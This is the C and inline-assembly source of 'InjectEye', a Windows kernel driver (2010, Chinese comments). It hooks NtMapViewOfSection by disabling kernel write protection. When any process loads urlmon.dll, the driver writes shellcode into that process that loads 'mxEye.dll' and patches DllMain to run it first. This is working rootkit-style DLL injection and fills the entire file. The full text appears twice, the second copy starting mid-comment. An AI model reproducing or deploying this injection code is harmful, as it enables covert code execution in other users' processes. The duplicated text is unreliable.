/*
InjectEye的功能是:当系统中有进程加载urlmon.dll时,注射功能代码到该进程中,修改urlmon.dll!DllMain头部的5个字节数据使之跳转到我们的功能代码中,抢先执行,即注射mxEye.dll到该进程中。
*/
/*
FileName: InjectEye.h
Author: ejoyc
Data : [03/05/2010]
Targer: Hook NtMapViewOfSection,Then watch any process to create
*/
#pragma once
#include <ntifs.h>
#include <ntimage.h>
#include "xde.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str);
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN IsHook);
PVOID SearchFunc(PULONG TargetErea,PULONG FuncHdrInfo);
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);
NTSYSAPI
NTSTATUS
NTAPI
NtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);
NTSYSAPI
NTSTATUS
NTAPI
NtAllocateVirtualMemory(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
typedef NTSTATUS (*PZwProtectVirtualMemory)(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG ProtectSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
typedef NTSTATUS (*PZwWriteVirtualMemory)(IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL);
//------------------------------------------------------------------------------------------------------------------------
typedef struct _CONTROL_AREA
{
PVOID Segment ;//Ptr32 _SEGMENT
LIST_ENTRY DereferenceList ;// _LIST_ENTRY
ULONG NumberOfSectionReferences ;// Uint4B
ULONG NumberOfPfnReferences ;// Uint4B
ULONG NumberOfMappedViews ;// Uint4B
ULONG NumberOfSystemCacheViews ;// Uint4B
ULONG NumberOfUserReferences ;// Uint4B
ULONG u ;// __unnamed
PFILE_OBJECT FilePointer ;// Ptr32 _FILE_OBJECT
PVOID WaitingForDeletion ;// Ptr32 _EVENT_COUNTER
USHORT ModifiedWriteCount ;// Uint2B
USHORT FlushInProgressCount ;// Uint2B
ULONG WritableUserReferences ;// Uint4B
ULONG QuadwordPad ;// Uint4B
}CONTROL_AREA,*PCONTROL_AREA;
typedef struct _SEGMENT
{
PCONTROL_AREA ControlArea ;// Ptr32 _CONTROL_AREA
ULONG TotalNumberOfPtes ;// Uint4B
ULONG NonExtendedPtes ;// Uint4B
ULONG Spare0 ;// Uint4B
ULONG64 SizeOfSegment ;// Uint8B
ULONG64 SegmentPteTemplate ;// _MMPTE
ULONG NumberOfCommittedPages ;// Uint4B
PVOID ExtendInfo ;// Ptr32 _MMEXTEND_INFO
ULONG SegmentFlags ;// _SEGMENT_FLAGS
PVOID BasedAddress ;// Ptr32 Void
ULONG u1 ;// __unnamed
ULONG u2 ;// __unnamed
PVOID PrototypePte ;// Ptr32 _MMPTE
PVOID ThePtes ;// [1] _MMPTE
}SEGMENT,*PSEGMENT;
typedef struct _SECTION_OBJECT
{
PVOID StartingVa;//Ptr32 Void
PVOID EndingVa;//Ptr32 Void
PVOID Parent;//Ptr32 Void
PVOID LeftChild ;//Ptr32 Void
PVOID RightChild ;//Ptr32 Void
PSEGMENT Segment;//Ptr32 _SEGMENT
}SECTION_OBJECT,*PSECTION_OBJECT;
//----------------------------------华丽的分割线 ----------------------------------//
//----------------------------------华丽的分割线----------------------------------//
/*
FileName: InjectEye.c
Author : ejoyc
Data : [03/05/2010]
Caution : 1.本程序仅仅在Win2003R2sp2[3790.srv03_sp2_gdr.090319-1204]测试;
2.本程序假设OEP为DllMain的地址——其实这是不对的;
3.本程序涉及大量的硬编码;
4.本程序参考sudami的《N种内核注入DLL的思路及实现》——这是一篇相当不错的教程
5.本程序的部分代码相当的不安全,需要加强有效性可用性的检测;
*/
#include "InjectEye.h"
extern POBJECT_TYPE* MmSectionObjectType;
PULONG AddressOfEntryPoint=NULL ;
PZwProtectVirtualMemory ZwProtectVirtualMemory=NULL;
PZwWriteVirtualMemory ZwWriteVirtualMemory=NULL;
ULONG ulHeadLen1 = 0;
WCHAR szDllName[]=L"urlmon.dll";
SIZE_T nDllLen=sizeof(szDllName);
ULONG FuncInfo[]={0x90909090,0x8b55ff8b,0x5d8b53ec,0xff57560c};//urlmon.dll!DllMain函数头部特征
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
UNICODE_STRING SystemRoutineName;
KdPrint(("[InjectEye] Entry \r\n"));
DriverObject->DriverUnload=InjectEyeUnload;
RtlInitUnicodeString(&SystemRoutineName,L"ZwPulseEvent");
ZwProtectVirtualMemory=(PZwProtectVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14);
RtlInitUnicodeString(&SystemRoutineName,L"ZwYieldExecution");
ZwWriteVirtualMemory=(PZwWriteVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14);
if ((ZwProtectVirtualMemory!=NULL && ZwWriteVirtualMemory!=NULL) && HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
HookFunc(FALSE);
KdPrint(("[InjectEye] Unloaded\n"));
}
_declspec(naked) NTSTATUS
GoNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
_asm
{
nop;// \
nop;// |
nop;// |
nop;// |
nop;// |
nop;// |
nop;// >开辟足够大的空间来容纳头部的机器码
nop;// |
nop;// |
nop;// |
nop;// |
nop;// /
mov eax,NtMapViewOfSection;
add eax,ulHeadLen1;
jmp eax
}
}
_declspec(naked) VOID InjectDllFunc()//size>=42
{
_asm//这部部分涉及大量的硬编码,请慎重
{
pushad ;60
push 6Ch ;6A 6C
push 6C642E65h ;68 65 2E 64 6C
push 7945786Dh ;68 6D 78 45 79//mxEye.dll
mov eax,esp ;8B C4
push eax ;50
mov eax,7C801DC6h ;B8 C6 1D 80 7C//LoadLibraryA=7C801DC6h{win2003sp2}
call eax ;FF D0
pop eax ;58
pop eax ;58
pop eax ;58
popad ;6127
mov edi,edi ;8B FF
push ebp ;55
mov ebp,esp ;8B EC//32
mov eax,41424344h ;B8 44 43 42 41//修改offset=33处的值为原始OEP
add eax,5; ;83 C0 05
jmp eax; ;FF E0
nop;// \
nop;// |
nop;// |
nop;// /
}
}
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
UCHAR NewOEPHdr[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
PSECTION_OBJECT SectionObject=NULL;
PCONTROL_AREA ControlArea=NULL;
PFILE_OBJECT FileObject=NULL;
SIZE_T nMaxLen=0;
PUCHAR MyDllAddress=NULL;
SIZE_T MyDllRegionSize=4096;
ULONG OldProtect;
ULONG Offset=0;
PIMAGE_DOS_HEADER ImgDosHdr=NULL;
PIMAGE_NT_HEADERS ImgNtHdrs=NULL;
NtStatus=GoNtMapViewOfSection(SectionHandle,ProcessHandle,BaseAddress,ZeroBits,CommitSize,SectionOffset ,ViewSize,InheritDisposition,AllocationType,Protect);
if (NtStatus==STATUS_SUCCESS && ObReferenceObjectByHandle(SectionHandle,SECTION_MAP_EXECUTE,*MmSectionObjectType,KernelMode,&SectionObject,NULL)==STATUS_SUCCESS)
{
ControlArea=SectionObject->Segment->ControlArea;
FileObject=ControlArea->FilePointer;
if ((ControlArea->u&0x20)>0)
{
nMaxLen=FileObject->FileName.Length+2;
if (nMaxLen>=nDllLen && RtlCompareMemory(nMaxLen-nDllLen+(PUCHAR)FileObject->FileName.Buffer,szDllName,nDllLen)==nDllLen)
{
ImgDosHdr=(PIMAGE_DOS_HEADER)(*BaseAddress);
ImgNtHdrs=(PIMAGE_NT_HEADERS)(ImgDosHdr->e_lfanew+(PUCHAR)ImgDosHdr);
AddressOfEntryPoint=(PULONG)(ImgNtHdrs->OptionalHeader.AddressOfEntryPoint+(PUCHAR)ImgDosHdr);
MyDllRegionSize=128;
if (ZwAllocateVirtualMemory(ProcessHandle,&MyDllAddress,0,&MyDllRegionSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE)==STATUS_SUCCESS)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress,(PUCHAR)InjectDllFunc,42,NULL);
MyDllRegionSize=4096;
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,PAGE_EXECUTE_READWRITE,&OldProtect);
AddressOfEntryPoint=(PULONG)SearchFunc(AddressOfEntryPoint,FuncInfo);
if (AddressOfEntryPoint!=NULL)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress+33,&AddressOfEntryPoint,4,NULL);
Offset=(ULONG)MyDllAddress-(ULONG)AddressOfEntryPoint-5;
RtlCopyMemory(NewOEPHdr+1,(PUCHAR)&Offset,4);
ZwWriteVirtualMemory(ProcessHandle,AddressOfEntryPoint,NewOEPHdr,5,NULL);
}
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,OldProtect,NULL);
}
}
}
ObDereferenceObject(SectionObject);
}
return NtStatus;
}
BOOLEAN HookFunc(BOOLEAN IsHook)
{
struct xde_instr MyDiza;
UCHAR NewFuncHead1[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
ULONG Offset;
ULONG CR0Value;
KIRQL Irql;
PUCHAR code_pos;
if (IsHook==FALSE && ulHeadLen1==0 )
{
return FALSE;
}
KdPrint(("[InjectEye] %-8s{%08X}\r\n",IsHook?"Hook":"UnHook",NtMapViewOfSection));
Irql=KeRaiseIrqlToDpcLevel();
_asm//关闭写保护
{
cli;
push eax;
mov eax,cr0;
mov CR0Value,eax;
and eax,0xfffeffff;
mov cr0,eax;
pop eax;
}
if (IsHook)
{
Offset=(ULONG)DetourNtMapViewOfSection-(ULONG)NtMapViewOfSection-5;
RtlCopyMemory(NewFuncHead1+1,(PUCHAR)&Offset,4);
code_pos=(PUCHAR )NtMapViewOfSection;
ulHeadLen1=0;
while (ulHeadLen1<5)
{
RtlZeroMemory(&MyDiza,sizeof(struct xde_instr));
xde_disasm(code_pos,&MyDiza);
ulHeadLen1+=MyDiza.len;
code_pos+=ulHeadLen1;
}
RtlCopyMemory((PUCHAR)GoNtMapViewOfSection,(PUCHAR)NtMapViewOfSection,ulHeadLen1);
RtlMoveMemory((PUCHAR)NtMapViewOfSection,NewFuncHead1,5);
}
else
{
RtlMoveMemory((PUCHAR)NtMapViewOfSection,(PUCHAR)GoNtMapViewOfSection,ulHeadLen1);
ulHeadLen1=0;
}
_asm//重启写保护
{
push eax;
mov eax,CR0Value;
mov cr0,eax;
pop eax;
sti;
}
KeLowerIrql(Irql);
return TRUE;
}
//------------------------------------------------------------------------------------------------------------------------
PVOID SearchFunc(PULONG TargetErea,PULONG FuncHdrInfo)//暴力搜索内存,我的本意是捕获urlmon.dll的DllMain函数地址
{
PULONG Ptr=TargetErea;
do
{
if (Ptr[0]==FuncHdrInfo[0] && Ptr[1]==FuncHdrInfo[1] && Ptr[2]==FuncHdrInfo[2] && Ptr[3]==FuncHdrInfo[3])
{
Ptr+=1;
break;
}
if (((PUCHAR)Ptr-(PUCHAR)TargetErea)>0x1000)
{
Ptr=NULL;
break;
}
Ptr=(PULONG)(1+(PUCHAR)Ptr);
} while (TRUE);
return Ptr;
}
InjectEye的功能是:当系统中有进程加载urlmon.dll时,注射功能代码到该进程中,修改urlmon.dll!DllMain头部的5个字节数据使之跳转到我们的功能代码中,抢先执行,即注射mxEye.dll到该进程中。
*/
/*
FileName: InjectEye.h
Author: ejoyc
Data : [03/05/2010]
Targer: Hook NtMapViewOfSection,Then watch any process to create
*/
#pragma once
#include <ntifs.h>
#include <ntimage.h>
#include "xde.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str);
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN IsHook);
PVOID SearchFunc(PULONG TargetErea,PULONG FuncHdrInfo);
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);
NTSYSAPI
NTSTATUS
NTAPI
NtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect);
NTSYSAPI
NTSTATUS
NTAPI
NtAllocateVirtualMemory(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
typedef NTSTATUS (*PZwProtectVirtualMemory)(IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG ProtectSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
typedef NTSTATUS (*PZwWriteVirtualMemory)(IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL);
//------------------------------------------------------------------------------------------------------------------------
typedef struct _CONTROL_AREA
{
PVOID Segment ;//Ptr32 _SEGMENT
LIST_ENTRY DereferenceList ;// _LIST_ENTRY
ULONG NumberOfSectionReferences ;// Uint4B
ULONG NumberOfPfnReferences ;// Uint4B
ULONG NumberOfMappedViews ;// Uint4B
ULONG NumberOfSystemCacheViews ;// Uint4B
ULONG NumberOfUserReferences ;// Uint4B
ULONG u ;// __unnamed
PFILE_OBJECT FilePointer ;// Ptr32 _FILE_OBJECT
PVOID WaitingForDeletion ;// Ptr32 _EVENT_COUNTER
USHORT ModifiedWriteCount ;// Uint2B
USHORT FlushInProgressCount ;// Uint2B
ULONG WritableUserReferences ;// Uint4B
ULONG QuadwordPad ;// Uint4B
}CONTROL_AREA,*PCONTROL_AREA;
typedef struct _SEGMENT
{
PCONTROL_AREA ControlArea ;// Ptr32 _CONTROL_AREA
ULONG TotalNumberOfPtes ;// Uint4B
ULONG NonExtendedPtes ;// Uint4B
ULONG Spare0 ;// Uint4B
ULONG64 SizeOfSegment ;// Uint8B
ULONG64 SegmentPteTemplate ;// _MMPTE
ULONG NumberOfCommittedPages ;// Uint4B
PVOID ExtendInfo ;// Ptr32 _MMEXTEND_INFO
ULONG SegmentFlags ;// _SEGMENT_FLAGS
PVOID BasedAddress ;// Ptr32 Void
ULONG u1 ;// __unnamed
ULONG u2 ;// __unnamed
PVOID PrototypePte ;// Ptr32 _MMPTE
PVOID ThePtes ;// [1] _MMPTE
}SEGMENT,*PSEGMENT;
typedef struct _SECTION_OBJECT
{
PVOID StartingVa;//Ptr32 Void
PVOID EndingVa;//Ptr32 Void
PVOID Parent;//Ptr32 Void
PVOID LeftChild ;//Ptr32 Void
PVOID RightChild ;//Ptr32 Void
PSEGMENT Segment;//Ptr32 _SEGMENT
}SECTION_OBJECT,*PSECTION_OBJECT;
//----------------------------------华丽的分割线 ----------------------------------//
//----------------------------------华丽的分割线----------------------------------//
/*
FileName: InjectEye.c
Author : ejoyc
Data : [03/05/2010]
Caution : 1.本程序仅仅在Win2003R2sp2[3790.srv03_sp2_gdr.090319-1204]测试;
2.本程序假设OEP为DllMain的地址——其实这是不对的;
3.本程序涉及大量的硬编码;
4.本程序参考sudami的《N种内核注入DLL的思路及实现》——这是一篇相当不错的教程
5.本程序的部分代码相当的不安全,需要加强有效性可用性的检测;
*/
#include "InjectEye.h"
extern POBJECT_TYPE* MmSectionObjectType;
PULONG AddressOfEntryPoint=NULL ;
PZwProtectVirtualMemory ZwProtectVirtualMemory=NULL;
PZwWriteVirtualMemory ZwWriteVirtualMemory=NULL;
ULONG ulHeadLen1 = 0;
WCHAR szDllName[]=L"urlmon.dll";
SIZE_T nDllLen=sizeof(szDllName);
ULONG FuncInfo[]={0x90909090,0x8b55ff8b,0x5d8b53ec,0xff57560c};//urlmon.dll!DllMain函数头部特征
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
UNICODE_STRING SystemRoutineName;
KdPrint(("[InjectEye] Entry \r\n"));
DriverObject->DriverUnload=InjectEyeUnload;
RtlInitUnicodeString(&SystemRoutineName,L"ZwPulseEvent");
ZwProtectVirtualMemory=(PZwProtectVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14);
RtlInitUnicodeString(&SystemRoutineName,L"ZwYieldExecution");
ZwWriteVirtualMemory=(PZwWriteVirtualMemory)((PUCHAR)MmGetSystemRoutineAddress(&SystemRoutineName)-0x14);
if ((ZwProtectVirtualMemory!=NULL && ZwWriteVirtualMemory!=NULL) && HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID InjectEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
HookFunc(FALSE);
KdPrint(("[InjectEye] Unloaded\n"));
}
_declspec(naked) NTSTATUS
GoNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
_asm
{
nop;// \
nop;// |
nop;// |
nop;// |
nop;// |
nop;// |
nop;// >开辟足够大的空间来容纳头部的机器码
nop;// |
nop;// |
nop;// |
nop;// |
nop;// /
mov eax,NtMapViewOfSection;
add eax,ulHeadLen1;
jmp eax
}
}
_declspec(naked) VOID InjectDllFunc()//size>=42
{
_asm//这部部分涉及大量的硬编码,请慎重
{
pushad ;60
push 6Ch ;6A 6C
push 6C642E65h ;68 65 2E 64 6C
push 7945786Dh ;68 6D 78 45 79//mxEye.dll
mov eax,esp ;8B C4
push eax ;50
mov eax,7C801DC6h ;B8 C6 1D 80 7C//LoadLibraryA=7C801DC6h{win2003sp2}
call eax ;FF D0
pop eax ;58
pop eax ;58
pop eax ;58
popad ;6127
mov edi,edi ;8B FF
push ebp ;55
mov ebp,esp ;8B EC//32
mov eax,41424344h ;B8 44 43 42 41//修改offset=33处的值为原始OEP
add eax,5; ;83 C0 05
jmp eax; ;FF E0
nop;// \
nop;// |
nop;// |
nop;// /
}
}
NTSTATUS
DetourNtMapViewOfSection(IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect)
{
UCHAR NewOEPHdr[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
PSECTION_OBJECT SectionObject=NULL;
PCONTROL_AREA ControlArea=NULL;
PFILE_OBJECT FileObject=NULL;
SIZE_T nMaxLen=0;
PUCHAR MyDllAddress=NULL;
SIZE_T MyDllRegionSize=4096;
ULONG OldProtect;
ULONG Offset=0;
PIMAGE_DOS_HEADER ImgDosHdr=NULL;
PIMAGE_NT_HEADERS ImgNtHdrs=NULL;
NtStatus=GoNtMapViewOfSection(SectionHandle,ProcessHandle,BaseAddress,ZeroBits,CommitSize,SectionOffset ,ViewSize,InheritDisposition,AllocationType,Protect);
if (NtStatus==STATUS_SUCCESS && ObReferenceObjectByHandle(SectionHandle,SECTION_MAP_EXECUTE,*MmSectionObjectType,KernelMode,&SectionObject,NULL)==STATUS_SUCCESS)
{
ControlArea=SectionObject->Segment->ControlArea;
FileObject=ControlArea->FilePointer;
if ((ControlArea->u&0x20)>0)
{
nMaxLen=FileObject->FileName.Length+2;
if (nMaxLen>=nDllLen && RtlCompareMemory(nMaxLen-nDllLen+(PUCHAR)FileObject->FileName.Buffer,szDllName,nDllLen)==nDllLen)
{
ImgDosHdr=(PIMAGE_DOS_HEADER)(*BaseAddress);
ImgNtHdrs=(PIMAGE_NT_HEADERS)(ImgDosHdr->e_lfanew+(PUCHAR)ImgDosHdr);
AddressOfEntryPoint=(PULONG)(ImgNtHdrs->OptionalHeader.AddressOfEntryPoint+(PUCHAR)ImgDosHdr);
MyDllRegionSize=128;
if (ZwAllocateVirtualMemory(ProcessHandle,&MyDllAddress,0,&MyDllRegionSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE)==STATUS_SUCCESS)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress,(PUCHAR)InjectDllFunc,42,NULL);
MyDllRegionSize=4096;
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,PAGE_EXECUTE_READWRITE,&OldProtect);
AddressOfEntryPoint=(PULONG)SearchFunc(AddressOfEntryPoint,FuncInfo);
if (AddressOfEntryPoint!=NULL)
{
ZwWriteVirtualMemory(ProcessHandle,MyDllAddress+33,&AddressOfEntryPoint,4,NULL);
Offset=(ULONG)MyDllAddress-(ULONG)AddressOfEntryPoint-5;
RtlCopyMemory(NewOEPHdr+1,(PUCHAR)&Offset,4);
ZwWriteVirtualMemory(ProcessHandle,AddressOfEntryPoint,NewOEPHdr,5,NULL);
}
ZwProtectVirtualMemory(ProcessHandle,&AddressOfEntryPoint,&MyDllRegionSize,OldProtect,NULL);
}
}
}
ObDereferenceObject(SectionObject);
}
return NtStatus;
}
BOOLEAN HookFunc(BOOLEAN IsHook)
{
struct xde_instr MyDiza;
UCHAR NewFuncHead1[5]={0xE9,0x00,0x00,0x00,0x00};//jmp [NtMapViewOfSection相对偏移] 的字节码
ULONG Offset;
ULONG CR0Value;
KIRQL Irql;
PUCHAR code_pos;
if (IsHook==FALSE && ulHeadLen1==0 )
{
return FALSE;
}
KdPrint(("[InjectEye] %-8s{%08X}\r\n",IsHook?"Hook":"UnHook",NtMapViewOfSection));
Irql=KeRaiseIrqlToDpcLevel();
_asm//关闭写保护
{
cli;
push eax;
mov eax,cr0;
mov CR0Value,eax;
and eax,0xfffeffff;
mov cr0,eax;
pop eax;
}
if (IsHook)
{
Offset=(ULONG)DetourNtMapViewOfSection-(ULONG)NtMapViewOfSection-5;
RtlCopyMemory(NewFuncHead1+1,(PUCHAR)&Offset,4);
code_pos=(PUCHAR )NtMapViewOfSection;
ulHeadLen1=0;
while (ulHeadLen1<5)
{
RtlZeroMemory(&MyDiza,sizeof(struct xde_instr));
xde_disasm(code_pos,&MyDiza);
ulHeadLen1+=MyDiza.len;
code_pos+=ulHeadLen1;
}
RtlCopyMemory((PUCHAR)GoNtMapViewOfSection,(PUCHAR)NtMapViewOfSection,ulHeadLen1);
RtlMoveMemory((PUCHAR)NtMapViewOfSection,NewFuncHead1,5);
}
else
{
RtlMoveMemory((PUCHAR)NtMapViewOfSection,(PUCHAR)GoNtMapViewOfSection,ulHeadLen1);
ulHeadLen1=0;
}
_asm//重启写保护
{
push eax;
mov eax,CR0Value;
mov cr0,eax;
pop eax;
sti;
}
KeLowerIrql(Irql);
return TRUE;
}
//------------------------------------------------------------------------------------------------------------------------
PVOID SearchFunc(PULONG TargetErea,PULONG FuncHdrInfo)//暴力搜索内存,我的本意是捕获urlmon.dll的DllMain函数地址
{
PULONG Ptr=TargetErea;
do
{
if (Ptr[0]==FuncHdrInfo[0] && Ptr[1]==FuncHdrInfo[1] && Ptr[2]==FuncHdrInfo[2] && Ptr[3]==FuncHdrInfo[3])
{
Ptr+=1;
break;
}
if (((PUCHAR)Ptr-(PUCHAR)TargetErea)>0x1000)
{
Ptr=NULL;
break;
}
Ptr=(PULONG)(1+(PUCHAR)Ptr);
} while (TRUE);
return Ptr;
}